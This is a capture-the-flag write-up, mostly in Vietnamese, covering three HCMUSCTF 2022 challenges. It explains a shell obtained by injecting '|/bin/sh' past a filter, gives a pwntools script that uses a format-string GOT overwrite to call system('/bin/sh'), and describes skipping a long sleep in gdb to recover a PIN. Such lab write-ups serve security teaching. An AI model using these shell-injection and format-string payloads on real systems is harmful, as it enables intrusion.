# HCMUSCTF 2022

### printme

Giải:

* Chương trình cho chạy lệnh cat và filter các kí tự nhưng không filter kí tự "|" tức là là lệnh OR trong bash shell . Nên mình sẽ nhập |/bin/sh, vậy là có thể get shell

### WWW

Giải:&#x20;

* Bài này mình sẽ overwrite got của scanf để tạo loop, sau đó overwrite got của printf thành got của system, ở đoạn gets mình sẽ nhập chuỗi /bin/sh. Như vậy là đã có thể get shell

Solve:

```
from pwn import *

elf = ELF("./chall")
p = elf.process()
#p = remote("103.245.250.31", 32183)
raw_input("DEBUG")

context.arch = "amd64"
#create loop (overwrite got_scanf to main func)
payload =  b"%005231c"
payload += b"%0012$hn"
payload += p64(elf.got['__isoc99_scanf'])

p.sendlineafter(b"First, tell me your name?", payload)

payload =  b"%4198512x"
payload += b"%012$ln"
payload += p64(elf.got['printf'])


p.sendlineafter(b"First, tell me your name?", payload)

p.sendline(b"/bin/sh")

p.interactive()

```

### timehash

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned int v4; // [rsp+1Ch] [rbp-14h]
  __int64 v5; // [rsp+28h] [rbp-8h]

  if ( argc != 2 )
  {
    puts("Wrong");
    exit(1);
  }
  v5 = (int)time(0LL);
  v4 = 0x22334455;
  while ( v4 > 0x10000000 )
  {
    v4 = SeriousHash(v4);
    sleep(0x15180u);
    if ( v5 + 86400 > (unsigned __int64)(int)time(0LL) )
      exit(2);
  }
  if ( atoi(argv[1]) == v4 )
    result = puts("Congratulations");
  else
    result = puts("Wrong");
  return result;
}
```

Chương trình cho nhập vào 1 số sau đó check số này với v4 sau khi đã gọi hàm seriousHash, nhưng chương trình lại gọi hàm sleep tận 24 tiếng =)), nên lúc này mình đem vô gdb để set giá trị rip nhảy tới đoạn check v4 > 0x10000000, debug khoản 8-9 lần gì đó là sẽ được giá trị v4.

![](https://2462580547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPrEdzpazLoruXkzaxMoM%2Fuploads%2FV9lLFf3p5EyouzwAHPH6%2Fimage.png?alt=media\&token=9e057021-30c3-4bc6-9884-f6c184b06f56)

Giá trị v4 ta được là 0x5c0cbd0 đem đổi giá trị này qua dec là ta sẽ được mã PIN.
